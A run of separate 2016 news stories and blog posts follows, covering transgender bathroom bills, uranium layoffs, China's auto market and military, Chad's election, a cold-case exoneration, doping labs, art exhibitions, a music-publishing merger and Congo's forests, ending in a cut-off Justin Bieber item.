We all want safety and privacy in public bathrooms. But these anti-LGBT bills, like the ones in North Carolina and Mississippi, actually make us less safe, not more safe. They open the door to abuse, aggressive and confrontational behavior in bathrooms, and encourage strangers to demand that women and girls prove that they are actually female in order to use the restroom. No one wants that.





Caitlyn Jenner Blogs About Anti-LGBT Legislature and the Importance of Safe Public Restrooms| Celebrity Blog, I Am Cait, People Picks, TV News, Caitlyn Jenner, Transgender

If one of these harmful bills is introduced in your city or state, please take a moment and listen to the stories of actual transgender people who live near you. Let's help their voices are heard over the fear mongering from the other side. We have already seen the difference it makes! In South Dakota, a group of incredibly brave trans youth shared their stories with Governor Dennis Daugaard, and he vetoed a bad bill that targeted trans people.



To see if an anti-LGBT bill has been introduced where you live, take a look at the website from my friend Mara Keisling and the amazing people at the National Center for Transgender Equality. They also include action steps you can take to make sure the bill is defeated.



There are some good bills out there. In Massachusetts, advocates are working to pass a bill that protects transgender people from discrimination in public spaces. And like weave seen in so many other places, courageous transgender youth and their families are helping lead the charge to get this done by sharing their stories.



We need more bills like the one in Massachusetts  bills which ensure that every transgender person, no matter what state theyare growing up in, can go to school safely and get the education they deserve. We need to make sure they can put that education to good use by getting a job and making a living for themselves and supporting their families. We need to make sure they can buy a home and go out to a restaurant or a movie theater without facing harassment. And yes, we need to make sure those trans kids  and all transgender people  can use the restrooms that align with how they live every day.



Updating our laws to protect people from discrimination  and preventing laws that harm LGBT people  is important to me. We'll keep talking about these bills here, and alerting you when there's something you can do to help. How you're treated shouldn't depend on geography  our country is better than that.



For more information on the transgender movement, see a list of resources at CaitlynJenner.com.
(Reuters) - Canadian uranium producer Cameco Corp said it is suspending production at its Rabbit Lake operation in northern Saskatchewan, while also reducing production across Cameco Resources' U.S. operations. The company said the changes are expected to reduce about 500 positions at Rabbit Lake, and around 85 at the U.S. operations. The uranium producer cited continued depressed market conditions that cannot support the operating and capital costs needed to sustain production at Rabbit Lake and the U.S. operations. The reduction in headcount will affect long-term contractors, as well as employees, Cameco reported on Thursday. "These measures will allow us to continue delivering value to Cameco's many stakeholders and support the long-term health of our company. We will provide assistance to those affected by these decisions", said Cameco President and CEO Tim Gitzel. (Reporting by Sneha Teresa Johny in Bengaluru; Editing by Sandra Maler)
Beijing (AFP) - The global car industry gathers for its biggest annual event in China as analysts say the brakes are coming on in the world's number one auto market, with the slowing economy dragging on vehicle demand.

China's auto sales growth is projected to bump along at an average five percent annually over the next five years as a weaker economy takes its toll, consulting firm McKinsey said in a report ahead of the Beijing Auto Show, which opens on Monday.

"After years of double-digit growth, Chinas auto market is slowing down. A cooling economy is one of the primary factors in the deceleration of what remains the worlds largest market for automobiles," McKinsey said.

Domestic and international carmakers face increasingly cutthroat competition for consumers whose preferences have become "more practical", it said.

The anti-corruption campaign under President Xi Jinping has reduced the appeal of luxury cars, it added, and "significant numbers" believe they can meet their transport needs by leasing, co-owning, or renting vehicles.

"There's no sign of momentum," said Michael Dunne, CEO and strategist at Dunne Automotive in Hong Kong. Competition is growing and "the China profit machine is slowing", he said

"Chinese auto sales will be fortunate to grow by five percent this year. It isnt that no ones making profits, but the overall profits per car will be lower in 2016 than they were in 2015."

Passenger vehicle sales in China surged by an average of more than 12 percent annually from 2010 to 2015, but an economic slowdown has reduced the speed, with expansion dropping to 4.7 percent last year.

The market is forecast to grow an average five percent a year from 2015 to 2020, according to the McKinsey report.

- 'Those days are gone' -

China's economy grew an annual 6.9 percent last year, the weakest in a quarter of a century, and gross domestic product slowed further to 6.7 percent in the first quarter.

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Still, annual passenger vehicle sales are expected to reach 24 million units in 2020, compared with around 19 million in 2015, McKinsey said.

The rise of ride-sharing services such as Uber and dominant local player Didi have introduced new options that reduce the need for new cars, and consumers have become savvier about price-shopping online, putting downward pressure on margins.

So-called "mobility services", like ride-sharing and hailing, could reduce China's annual private vehicle sales by as much as four million by 2030, it said -- although that would be offset by two million extra sales of vehicles for such services, it said.

Competition for market share has become more intense as Chinese carmakers have improved their offerings, particularly in the surging SUV segment, where sales leaped by over 50 percent in the first quarter of 2016 as consumers opted for bigger cars on the countrys hair-raising roads.

Namrita Chow, principal China analyst at IHS automotive, said that international manufacturers can no longer "overlook the Chinese brands, saying, oh they don't have what it takes to be a competitor. Those days are gone."

But fears of a slowdown are offset to some extent by opportunities created by the rapidly changing industry, analysts said.

GM China president Matt Tsien said earlier this year that the global giant "expects the automotive industry to change more over the next five to 10 years than in the past 50 years.

General Motors' president Dan Ammann pointed to "the inevitable march toward autonomous vehicles" as an opportunity, saying: "We think self-driving cars have the ability to significantly make roads safer".

More than half of over 3,500 consumers surveyed by McKinsey wanted to upgrade their cars and report co-author Paul Gao told AFP: "The growth is still solid. Five percent out of a big base still makes China a very attractive market."
N'DJAMENA (Reuters) - Chad's incumbent president, Idriss Deby, an important ally of the West in the fight against Islamist militants, won a fifth term in office in a lopsided first-round victory, the Central African country's elections commission announced on Thursday. Deby, 63, who argued during the campaign that only his government was capable of ensuring security amid a rising wave of extremist violence, took 61.56 percent of the vote in the April 10 poll, easily avoiding a second-round runoff. Opposition leader Saleh Kebzabo finished a distant second with 12.80 percent of the vote, followed by Laokein Kourayo Mbaiherem with 10.60 percent, according to the commission, which put turnout at 76.11 percent. "We are happy to have been able to meet the challenge we set for ourselves - a first-round knockout. Now we need to work implementing our program," Deby's campaign spokesman, Mahamat Hissein, said in an interview. Deby, who gained power in 1990 at the head of an armed rebellion, abolished restrictions in 2004 on how many times the president can run for office. But he has pledged to reintroduce term limits at a time when other African leaders have been trying to amend their constitutions in order to extend their rule, leading to violence in Burundi, Burkina Faso and Congo Republic. Chad has one of the most capable armies in the region and Deby has played a key role in efforts backed by the West to combat neighboring Nigeria's Islamic State-affiliated Boko Haram fighters as well as al Qaeda militants. A former French colony, Chad also hosts the headquarters of Paris' 3,000-troop strong regional anti-militant operation, known as Barkhane. (Reporting by Madjiasra Nako; Writing by Joe Bavier; Editing by G Crosse and Peter Cooney)
By Suzannah Gonzales

CHICAGO (Reuters) - An Illinois man who was convicted and sentenced to life in prison for the kidnapping and murder of a 7-year-old girl in 1957 was cleared of charges on Friday.

DeKalb County Circuit Court Judge William Brady dropped charges against Jack McCullough, 76, who was arrested and jailed in 2011 for the murder of the girl, Maria Ridulph. He was convicted the following year.

Last week, Brady granted McCullough's request for a new trial and annulled his conviction, while ordering him to remain in Illinois while he was free on bond.

McCullough was released from prison in April on the basis of previously unknown evidence that pointed to his innocence.

Brady told an attorney for a Ridulph family member that he has four weeks to submit a motion to request a special prosecutor to the case. McCullough could be retried for the murder since Brady dismissed it without prejudice.

He dismissed lesser charges in the case with prejudice.

McCullough, wearing a blue and green parka, sat behind attorneys who stood in front of judge and made their arguments during the hearing. He left the court smiling and shaking hands after the 90-minute hearing concluded.

McCullough plans to sue the state of Illinois for the suffering that five years in prison caused him and his family, the Associated Press reported.

A lawyer for McCullough has declined to comment on the report.

Ridulph disappeared in December 1957 while playing near her home in Sycamore, Illinois, about 65 miles west of Chicago. Her body was found months later and the case remained unsolved.

McCullough was a teenager when Ridulph went missing. He was an early suspect and told investigators he was on a train from Rockford in southern Illinois to Chicago when the girl disappeared. He later joined the military, moved to Washington state and became a policeman in Lacey, a town east of Olympia.

The Ridulph case was reopened after a former girlfriend of McCullough contacted investigators in 2010. She found what she said was McCullough's unused train ticket from Rockford to Chicago on the day Ridulph disappeared, a Washington state newspaper said.

(Reporting by Suzannah Gonzales in Chicago and Brendan O'Brien in Milwaukee; EDiting by Steve Orlofsky)
SANTIAGO (Reuters) - Salmon producer AquaChile said on Friday that it has discovered the presence of the ISA virus, which is potentially deadly for the fish, at one of its pens in Chile's southern Aysen region. AquaChile and Sernapesca, Chile's government fisheries body, are testing the pen to confirm the presence of the virus, which in 2007 devastated the national farmed-salmon industry, killing more than half of all fish. Sernapesca said no fish deaths have been associated with ISA at AquaChile's pen. It added that the last deadly outbreak of ISA was in Nov. 2015 in Chile's Aysen region. Chile's salmon industry, the second largest in the world behind Norway, is still reeling from an algal bloom in March that killed up to 20 percent of the domestic farmed salmon. (Reporting by Anthony Esposito and Felipe Iturrieta; Editing by David Gregorio)
By Brenda Goh SHANGHAI (Reuters) - The World Anti-Doping Agency (WADA) suspended the accreditation of Beijing's National Anti-Doping laboratory on Thursday, weeks after launching a probe into drugs allegations in Chinese swimming. The laboratory, suspended for a maximum of four months, has 21 days to appeal the decision to the Court of Arbitration for Sport (CAS). "The suspension, which takes effect immediately, prohibits the laboratory from carrying out any WADA-related anti-doping activities including all analyses of urine and blood samples," WADA said in a statement. WADA said the laboratory could apply for reinstatement before the four months was up if it took remedial steps and tackled "non-conformities", without providing details. China's national anti-doping agency said the laboratory had submitted "two false negative results" during blind tests conducted by WADA in 2015. "The laboratory will resume testing work after its changes have been reviewed by WADA," the agency said in a statement on its website (chinada.cn). State news agency Xinhua later quoted the laboratory as saying that the false negative results were caused by "technical errors" because it had yet to update testing methods to meet WADA's latest requirements. The laboratory was also negligent in its analysis, it said. "At present, the laboratory is undergoing a complete review and improvement of its detection methods, in order to meet WADA's latest requirements," Xinhua quoted the lab as saying. NEWSPAPER REPORT China's anti-doping program has been under scrutiny in recent weeks following a British newspaper report that alleged Chinese swimming had covered up positive drugs tests ahead of Olympic trials for the Rio de Janeiro Games to avoid a "storm". The Times report prompted WADA to investigate the allegations. China's anti-doping agency denied there had been a cover-up and said they needed time to test secondary 'B' samples and conduct hearings before releasing further information. The Chinese Swimming Association subsequently announced it had issued a "warning penalty" to swimmers Wang Lizhuo and An Jiabao after they tested positive for the banned substance clenbuterol. A third swimmer Zhao Ying, who also tested positive for clenbuterol in an out-of-competition test, was named but had not yet been punished, the association said last month. The country's anti-doping agency courted controversy in 2014 after keeping a three-month drugs ban handed to Olympic 1,500 meters freestyle champion Sun Yang under wraps for six months. China (five golds) finished second to the United States (16) in the swimming medal table at the 2012 London Olympic Games and are tipped to be a force at the Rio Games. WADA also revoked the accreditation of a Moscow anti-doping laboratory in Russia for failing to meet standards last Friday. The lab had been non-operational since WADA suspended it in November after an independent commission's report identified systematic failures within Russia's anti-doping program. Russia is currently suspended from international track and field in the wake of the report exposing widespread cheating and corruption and its athletes could miss the Rio Olympics. (Writing by Ken Ferris and Ian Ransom; Editing by John O'Brien)
By Ben Blanchard BEIJING (Reuters) - China is getting closer to building maritime nuclear power platforms that could one day be used to support projects in the disputed South China Sea, a state-run newspaper said on Friday, but the foreign ministry said it had not heard of the plans. China has rattled nerves with its military and construction activities on the islands it occupies in the South China Sea, including building runways, though Beijing says most of the construction is meant for civilian purposes, like lighthouses. The Global Times, an influential tabloid published by the ruling Communist Party's official People's Daily, said the nuclear power platforms could "sail" to remote areas and provide a stable power supply. China Shipbuilding Industry Corp, the company in charge of designing and building the platforms, is "pushing forward the work", said Liu Zhengguo, the head of its general office. "The development of nuclear power platforms is a burgeoning trend," Liu told the paper. "The exact number of plants to be built by the company depends on the market demand." Demand is "pretty strong", he added, without elaborating. Chinese Foreign Ministry spokeswoman Hua Chunying played down the story as a media report, however. "I've not heard here of the relevant situation," Hua told a daily news briefing, without elaborating. In January, two Chinese state-owned energy companies, China National Offshore Oil Corporation (CNOOC) and China General Nuclear Power Corporation (CGN), signed a strategic cooperation framework pact on offshore oil and nuclear power. CGN has been developing a small modular nuclear reactor for maritime use, called the ACPR50S, to provide power for offshore oil and gas exploration and production. It expects to begin building a demonstration project in 2017. Xu Dazhe, head of China's atomic safety commission, told reporters in January the floating platforms were in the planning stage and must undergo "strict and scientific demonstrations". Chinese naval expert Li Jie told the Global Times the platforms could power lighthouses, defense facilities, airports and harbors in the South China Sea. "Normally we have to burn oil or coal for power," Li said. It was important to develop a maritime nuclear power platform as changing weather and ocean conditions presented a challenge in transporting fuel to the distant Spratlys, he added. China claims almost the entire South China Sea, believed to have huge deposits of oil and gas, and is building islands on reefs to bolster its claims. Brunei, Malaysia, the Philippines, Taiwan and Vietnam also have claims to parts of the waters, through which about $5 trillion in trade is shipped every year. (Additional reporting by David Stanway; Editing by Clarence Fernandez)
Setting Up of Military Hotline for China, India Gets Positive Reactions

Defense Minister Chang Wanquan reacted positively to the idea of setting up a military hotline for China and India. (Photo : Reuters)

China has reacted positively to news on the setting up of a military hotline for China and India, amid tensions over terrorism sanctions and border disputes between the two Asian giants, the South China Morning Post reported.



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Citing a report by the Xinhua News Agency, the SCMP said that Chinese Defense Minister Chang Wanquan agreed to the idea during talks with his Indian counterpart on Monday, April 18.



The relationship of the world's two most populous nations is marred by territorial disputes where the two countries are competing for regional influence in Asia and parts of the Himalayas.



In 1962, the two countries waged a border war over the northeastern Indian state of Arunachal Pradesh, parts of which were claimed by China as "South Tibet."



In 2014, the movement of hundreds of Chinese troops into mountainous areas of Ladakh under Indian control caused tension while President Xi Jinping arrived on his landmark visit in India that year.



Indian Defence Minister Manohar Parrikar was cited by Xinhua as saying that India "hopes to beef up bilateral exchanges and cooperation [with China] in all sectors."



Parrikar, however, reiterated India's call for clear demarcation of the Line of Actual Control between the two countries, as reported by the Indian news agency PTI.



During Indian Prime Minister Narendra Modi's visit to China last year, Beijing had expressed its reservation for the move.



Earlier this month, India expressed indignation when China blocked India's request to have Masood Azhar, head of the Pakistani militant group Jaish-e-Mohammad, added to a U.N. sanctions blacklist.



China, which has close relations with India's arch-rival Pakistan, has invested in several infrastructure projects worth billions of dollars in the country.



Islamabad said in January that it was planning to upgrade the constitutional status of a northern region which is also claimed by India, in an effort to gain Chinese investment, the report said.



Indian Foreign Minister Sushma Swaraj had asked Beijing on Monday, April 18, to review its position on Azhar, who is accused of being the mastermind in an attack on the Pathankot airbase in the northern state of Punjab, PTI reported.


Beijing (AFP) - China said on Thursday it was "normal" to carry out ballistic missile launches, after a US media report accused Beijing of having test-fired an intercontinental weapon last week.

US media site Washington Free Beacon, citing unidentified Pentagon officials, reported that China had carried out a test of its DF-41 long-range missile on April 12.

The report linked the tests to tensions between Washington and Beijing over the South China Sea, noting that it came three days before a visit by US Secretary of Defence Ashton Carter.

The DF-41 missile has a range of some 14,000 kilometres (8,700 miles) and could, according to some experts, carry up to 10 nuclear warheads.

In a brief response, China's defence ministry did not deny a test had been carried out, but dismissed media reports of a specific location as "pure speculation".

"It is normal for us to carry out scientific research tests in our own territory, according to our plans, and they are not aimed at any specific nations or targets," said a statement on its website.

China claims nearly all of the South China Sea, which is home to some of the world's most important shipping lanes and is believed to contain vast oil reserves.

But many of its Southeast Asian neighbours have overlapping claims, and tensions have risen over China's construction of artificial reefs in the disputed waters.

On Monday, China's defence ministry gave its first confirmation that Beijing had landed a military flight on the Fiery Cross reef in the Spratlys archipelago, also claimed by the Philippines.

On the day of Carter's trip, Beijing said that one of its top military officials had visited a South China Sea island.
BEIJING (Reuters) - China will try the 45 Taiwan suspects in a telecoms fraud case who were deported by Kenya to China this month, the Chinese government told a delegation from Taiwan, state media reported, in a case that has angered the self-ruled island. China is battling an explosion of telecoms fraud that has cost billions of dollars in financial losses and driven some victims to suicide, say authorities in Beijing, who blame the scams on criminal gangs based in rival Taiwan. Kenya does not have official relations with democratic Taiwan and considers it part of "one China", in line with the position of Communist Party leaders in Beijing, who regard Taiwan as a wayward province. Kenya said it deported the group back to where it came from. Taiwan accused China of effectively kidnapping its citizens, while China said it was simply going after criminals. An official of China's Ministry of Public Security repeated that statement to the Taiwan delegation, state news agency Xinhua said late on Thursday. "The suspects specifically targeted people on the Chinese mainland and their victims are from the mainland. Not to mention that many of the suspects are themselves from the mainland," said the official, Chen Shiqu. "They will thus be investigated, prosecuted and tried in accordance with mainland law," he added. All the Taiwan suspects have already admitted their guilt, Chen said. "Mainland police will spare no efforts in dealing with telecom fraud syndicates, and we expect authorities in Taiwan will do the same and offer support to the mainland in returning their illicit gains," he added. Taiwan's Ministry of Justice, in a statement late on Thursday, said the delegation had visited the suspects in a Beijing detention center and they seemed in good health, with two of already having appointed lawyers. It added that the two sides had agreed to establish principles to fight crime together to ensure criminals were brought to justice and victims protected. Details, such as when the Taiwan suspects would be able to return to the island, would be worked out in negotiations, the justice ministry said. Over the weekend, China slammed Taiwan for freeing 20 Taiwan suspects deported to the island from Malaysia, in a separate telecoms fraud case linked to China. But on Thursday Taiwan prosecutors changed their position and took most of them into custody. (Reporting by Ben Blanchard; Additional reporting by J.R. Wu in TAIPEI; Editing by Clarence Fernandez)
BEIJING (Reuters) - Chinese President Xi Jinping has been appointed commander-in-chief of a new joint command headquarters for China's military, state media said, part of an on-going reform program to modernize the world's largest armed forces. Xi already oversees the People's Liberation Army in his role as head of the powerful Central Military Commission, and has now been appointed commander-in-chief of the commission's Joint Command Headquarters, state media said this week. Xi announced the setting up of the new headquarters in November, a move previously flagged by the military which is meant to help coordination between different parts of the defense system. China has been moving rapidly to upgrade its military hardware, but operational integration of complex and disparate systems across a regionalized command structure is a major challenge. In the past, regional level military commanders have enjoyed latitude over their forces and branches of the military have remained highly independent, making it difficult to exercise the centralized control necessary to use new weapons systems effectively in concert. Xi told officers at the headquarters they must have a clear sense of crisis and focus their skills, state media said. "We will take special measures to train professionals for joint operations ... and speed up the development and deployment of advanced technologies," Xi, dressed in camouflaged military uniform, said. The headquarters needs also to streamline operational procedures and share experiences with regional joint commands, Xi added. Xi's push to reform the military coincides with China becoming more assertive in its territorial disputes in the East and South China Seas, and as its navy invests in submarines and aircraft carriers and its air force develops stealth fighters. The reforms include rejigging existing military regions, as well as cutting troop numbers by 300,000, a surprise announcement he made last September. The troop cuts and broader reforms have proven controversial and the military's newspaper has published a series of commentaries warning of opposition to the reforms and concern about job losses. Xi has also made rooting out deeply entrenched corruption in the military a top priority. (Reporting by Ben Blanchard; Editing by Michael Perry)
Liu Xiaodong, the acclaimed Chinese contemporary artist, has put Europe's migrant crisis at the centre of an exhibition of new work which goes on show from Friday in Florence.

Entitled "Migrazioni" (Migrations), the collection features a total of 182 multi-themed works including paintings, photography, photo-painting, explanatory text and a video documentary.

It is being billed by its sponsors, Florence's innovative Palazzo Strozzi Foundation, as one of the art world's most significant responses to date to the unprecedented wave of refugees arriving on Europe's southern shores.

The exhibition is due to run until June 19 in the Tuscan capital's Palazzo Strozzi, just a short bus ride away from Prato, the Florence suburb that is now home to one of the biggest Chinese communities in Europe.

What began as a invitation to Liu to spend time in the region examining the relationship between Prato's Chinese population and broader Tuscan society evolved into something much larger when the artist decided to see for himself the journeys being made by Syrian refugees trying to reach northern Europe via Turkey, Greece and the Balkans.

The result is a thought-provoking collection that is partly an illustrated diary of the artist's trips from Florence to the frontline of the migrant crisis, and partly a reflection on the nature of migration itself, seen through the twin optics of Prato's Chinatown and the timeless beauty of Tuscany's undulating, cypress-dotted countryside.

"There are two extremes of migration converging in Europe at the moment," Liu told AFP in an interview on the eve of the exhibition's opening.

"In Prato there is this very quiet, not very visible presence. And then there is this immigration, that we hear about every day, of people fleeing from war. And I wanted to bring these two ideas together in one exhibition."

- The promised land -

Among the most striking works in the collection is a huge painting of a classic Tuscan landscape seen from the edge of a swimming pool tastefully cut into the hillside.

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In the foreground, two hunting dogs look on languidly, perhaps a little curious but not that interested, as a partly deflated piece of a black rubber dinghy bobs incongruously in the water, like the last remnant of a migrant boat sinking.

"For people in so many parts of the world, Europe is like a promised land," Liu explains. "Even though migration has been an integral part of the history of humanity, this huge wave, this influx of refugees has definitely caused some problems for European society.

"And this image of the deflating dinghy was a way of injecting the problems and the unresolved questions that migration brings into a paradisical, idyllic setting."

Liu said his visits to Prato had left him surprised by the slow pace of its Chinese community's integration into Italian life.

"They have been there mostly for at least a couple of generations and still they are very closed off. They have their own customs and traditions and are still very separate from the local population. This model of migration is also problematic."

The Palazzo Strozzi's director general Arturo Galansino said Liu's work was a long overdue attempt by the art world to make sense of the profound changes brought about by migration without seeking to take sides in the day-to-day political battles over whether Europe should close its frontiers or open its gates.

"The exhibition shows how the artist's eye moved from the local to the international. He wanted to capture what is happening from every possible perspective -- in the streets of Prato, at the main train station in Vienna, in a port in Turkey -- it is all part of one bigger picture.

"He does not make a judgement, he just presents the reality. And that shows us how art can help us to understand something very complex in a new way."
By Marcus E. Howard

NEW YORK (Reuters) - A woman accused of stashing about 10 pounds of cocaine in candy jars in her luggage at New York's John F. Kennedy Airport faces narcotics possession and trafficking charges, the U.S. Customs and Border Protection said on Friday.

Petra Hoyos-Bravo, 51, was arrested on Monday as she flew in from Mexico City, the agency said in a statement, noting that CBP officers found nearly $200,000 of cocaine in her luggage.

Hoyos-Bravo was charged on Tuesday, and is scheduled to appear in Queens County Criminal Court on May 3.

"This latest seizure demonstrates the vigilance of our CBP officers, and their excellence in detecting those who would try to smuggle these illegal substances," Robert Perez, the agency's director of field operations New York, said in a statement.

In 2009, the CBP reported seizing more than 135,000 pounds of cocaine, and other illegal drugs including 4.3 million pounds of marijuana, 2,015 pounds of heroin and more than 6,000 pounds of methamphetamine.

A police report reviewed by Reuters said Hoyos-Bravo, who provided a Yonkers, New York address, admitted to the charges.

She did not have an attorney, Queens County District Attorney's office spokeswoman Ikimulisa Livingston said in a phone interview.

Hoyos-Bravo was initially listed under the surname Medarda by the CBP.

CBP said its agriculture specialists were performing an X-ray examination of Hoyos-Bravo's luggage when they noticed "rectangular-shaped objects" and found packages concealed inside a few containers of what appeared to be wafer stick candy.

The white powder found inside eight brick-size packages tested positive for cocaine, which had an estimated street value of $175,000, the agency said.

(Reporting by Marcus E. Howard; Editing by Richard Chang)
Warner Music Group and independent music company representative Impala are urging the European Commission to review Sony/ATV's acquisition of the Michael Jackson's estate around whether the deal could produce anti-competitive condition in the marketplace.

Europe has a storied history of forced divestments. When Universal Music Group bought EMI recorded music, it had to sell off both Parlaphone and Sanctuary, among other assets, to appease European regulators. When Sony Corp. led a consortium to buy EMI Music Publishing, the company was made to sell off Virgin Music Publishing and Famous Music U.K as well as other publishing and songwriter catalogs. When Warner Music acquired Parlophone, it agreed to sell assets equivalent to between 25 and 33 percent of that label's value.

Inside Sony/ATV's Buyout of Michael Jackson's Estate -- And Why They Cashed Out

Sony Corp. recently signed a definitive agreement to acquire Jackson's shares of Sony/ATV for $733 million, which would give it sole control over Sony/ATV. The deal doesn't impact its ownership stake in EMI Music Publishing, which Sony owns 29 percent of and which the Jackson estate will continue to own 10 percent of. That means the deal is giving Sony full control over Sony/ATV, which generates, depending on exchange rates, an estimated annual revenue of $600-650 million, thanks to an estimated $125 million payout for managing EMI Music Publishing, as well as $500 million from its own catalog.

While Warner Music Group declined to comment on the development, first reported by Bloomberg News, Impala confirmed that it has serious concerns over the impact of the deal vis-a-vis Sony's market power.

"The EU effectively set a limit three years ago due to concerns about prices," Impala's executive chair Helen Smith said in a statement. "It is difficult to imagine how the Sony/ATV deal could secure approval from the European Commission. The buy out would reinforce the market power of the world's biggest music publisher and give it control over more of the world's music than before."

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Smith pointed out that the EU turned on the heat when Universal Music Group bought EMI Recorded Music. "Universal had to sell two thirds to get EC approval," Smith said. "That's one the biggest set of divestments in history and highlights what IMPALA dubs 'a real risk when market leaders get greedy'. Universal also had to accept having its digital contracts monitored for ten years."

A Timeline of Michael Jackson's Best Bet: The Sony/ATV Catalog

Sony/ATV and the Jackson estate either declined to comment or did not respond to requests for comment. One executive familiar with the deal however tells Billboard that an EU review was expected, as was Impala and Warner's opposition.

"It's what they do when every deal comes up," says one executive in the major label camp. "They like to stir up enough friction so the EU Commission forces the buyer to sell off pieces so they [WMG and the indie labels] get a chance to buy at least some of the assets, even if the original deal was too big for them to play in the original auction."

While many indies agree with Smith -- the EU should at least look at the impact the deal will have on a market-by-market basis, says one top indie executive -- others wonder how this deal changes anything from before.

Even before the contract was signed, Sony/ATV controlled music portfolios which generated $1.2 billion; the next largest publisher is Universal Music Group with about $825 million and then the Warner Music Group with about $475 million, followed by BMG Music Publishing with about $400 million in revenue. There is not much difference in what the Sony/ATV catalog throws by itself -- before you take into consideration its EMI administrative revenue -- than the Warner Music Group.

Sony/ATV Head Martin Bandier's Memo to Staff Following Jackson Buyout: 'Very Positive News'

The EU already looked at the impact of Sony buying a stake in EMI and since then it has gained control over licensing that catalog, meaning it already has been exerting its clout to get the best deals for both catalogs. Why would this Sony/ATV Jackson deal change anything? Do you think the Jackson estate was holding Sony/ATV back from asking for higher rates before on licensing deals?, Billboard posed to one executive objecting the Sony buyout of the Jackson estate.

Besides, wouldn't the EU have already investigated the Sony/ATV ownership structure last time and wouldn't they have discovered the buy/sell agreement and already considered it?

"Its about the control shares," says an executive with one of the companies objecting to the EU. "Control shares weren't an issue because of the ownership structure, up until now."

"Now with only one owner controlling both the publishing and recorded music operation, there are many territories where Sony will have well over 50 percent of those markets," he adds. "It will increase their collective clout when they are negotiating digital deals for both publishing and the recorded music operations in those markets."

IMPF, an global group representing indie music publishes, also expressed their concern on the deal, saying that the concentration of the catalog in the hands of Sony, would give Sony/ATV even more negotiating power on deal terms.

"IMPF intends to complain to the European Commission over the acquisition which needs to be carefully considered not only on the grounds of the distortion of the market it will cause, and in particular to independent music publishers, but also in the long run, the risk of reduced consumer choice and increased prices," said IMPF president Pierre Mossiat said in a statement.
China's Shanghai Kunqu Opera Troupe performs a classic folktale, "The Lanke Mountain." (Photo : YouTube)

One of China's most popular plays, the "Peony Pavilion" goes global with its scheduled tours in New York City and Prague under the production of Shanghai Kunqu Opera Troupe.



The "Peony Pavilion" was first performed in late 1500s. It is said to be the most celebrated play in the Ming Dynasty, narrating the love story of Liu Mengmei and Du Liniang. The masterpiece was written by Chinese playwright Tang Xianzu, who is known as the Shakespeare of China.



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In celebration of the author's 400th death anniversary, the Kunqu Opera is set to stage the play with 38 performances this year.



Aside from Prague and New York City, the "Peony Pavilion" will also be performed in 11 major cities in China. The tour will kick off on April 24, Sunday.



"We've signed up for 38 shows this year. This is the largest project of the Shanghai Kunqu Opera Troupe," Kunqu Opera director Gu Haohao said in an interview with China Daily.



Theater actress Liang Guyin is among the cast members.



"I am grateful for the love and support of the audiences, which is so much more than I deserve," Liang was quoted as saying by China Daily. "I might be in heaven when I actually reach the level they praised me for."



Another representative from Kunqu Opera also said the global tour is meant to celebrate Tang's art and China's literature.



"The global tour aims to not only highlight the works of Chinese playwright master Tang Xianzu, but also to help audiences get a better understanding of traditional Kunqu Opera," the representative said in a report by Women of China.



The "Peony Pavilion" is part of Tang's the "Four Dreams" collection, along with "The Purple Hairpin," "Record of Handan" and "Record of Southern Bough."



Other actors who performed in past adaptations include Mei Lanfang, Jennifer Hua Wenyi and Zhang Jiqing.


By Magdalena Mis LONDON (Thomson Reuters Foundation) - Nobel-prize nominated Congolese gynaecologist Denis Mukwege, who treats war rape victims, was named by TIME magazine on Thursday as one of the 100 most influential people in the world. The 61-year-old doctor founded the Panzi Hospital in the eastern Democratic Republic of Congo in 1999 to help women and girls who had been raped during the conflict then raging in the country. "The people on the list, each in their own way, have lessons to teach," TIME editor Nancy Gibbs said in a statement accompanying the release of the 2016 TIME 100. "One way or another they each embody a breakthrough: they broke the rules, broke the record, broke the silence, broke the boundaries to reveal what we're capable of." Although the Congo war officially ended in 2003, violence between government troops and rebels, some with outside backing, has persisted, particularly in the east, and rape has repeatedly been used as a weapon of war. Mukwege's hospital has treated more than 46,000 girls and women with gynaecological injuries, about half of them victims of sexual violence. In 2012 Mukwege escaped unhurt when armed men tried to kill him in one of the most violent parts of the country, but one member of his staff was killed. He won the Sakharov Prize, Europe's top human rights award, in 2014, and was nominated for the Nobel Peace Prize in the same year. He remains a strong advocate of women's rights in his country. Among other names on the TIME 100 list, which was put together by TIME editors, are Caitlyn Jenner, who revealed her identity as a transgender woman last year, Chancellor Angela Merkel of Germany, Pope Francis and rock star Bono. "The influence of this year's TIME 100, to my mind, is that down to the last person, they have the power to make us think. And they are using it," Gibbs said. (Reporting by Magdalena Mis, editing by Tim Pearce. Please credit Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, womens rights, corruption and climate change. Visit news.trust.org)
DAKAR (Thomson Reuters Foundation) - The Democratic Republic of Congo on Friday signed a landmark $200 million deal with donors to tackle deforestation and reduce carbon emissions as part of a wider plan to protect the tropical forests of the Congo Basin. Congo, home to the world's second-largest rainforest after the Amazon, is the first country to sign an agreement with the Central African Forest Initiative (CAFI), launched in September 2015 by six African nations and European donor countries. The initiative, which also covers Central African Republic, Cameroon, Congo Republic, Equatorial Guinea and Gabon, aims to restart protection efforts in the Congo Basin, which has become a target for the expansion of palm oil plantations as available land in Indonesia dwindles. Protecting forests is widely seen as one of the cheapest and most effective ways to reduce the emissions driving global warming. Loss and degradation of forests account for about 15 percent of emissions each year, conservation groups say. The project requires countries to create national investment plans to address the pressures driving deforestation, and aims to slow illegal logging and burning of forests that are vital to millions of people and endangered animals such as gorillas. It is backed by funding from the European Union, Norway, Britain, France and Germany, and will receive technical advice from Brazil. Norway's Minister of Climate and Environment Vidar Helgesen said the agreement should be thought of "as a compass". "It sets the ambitious direction that DRC will take in order to avoid the kind of industrial deforestation that we have witnessed in other parts of the world," he said in a statement. Forests in the Congo Basin cover about two million sq km (0.8 million sq miles) - about the size of Mexico - but are shrinking by 5,600 sq km a year. Congo's biggest logging companies are systematically violating national laws to plunder the country's forests, campaign group Global Witness said in a report last year. President Joseph Kabila has pledged to reform agriculture in Congo, which is rich in minerals and fertile land, but has seen decades of misrule and a series of conflicts since the 1990s. Dozens of armed groups continue to prey on the local population and exploit the region's rich mineral deposits, and a political crisis is brewing over the possibility of Kabila seeking a third term in office, according to U.S. officials. (Reporting By Kieran Guilbert, Editing by Ros Russell; Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, women's rights, trafficking, corruption and climate change. Visit news.trust.org)
Like all kids who grow up, Justin Bieber has made some mistakes along the way.



Unlike all kids, the world watched as Bieber blundered in front of millions of social media followers in endlessly shared videos and in oft-re-quoted interviews.



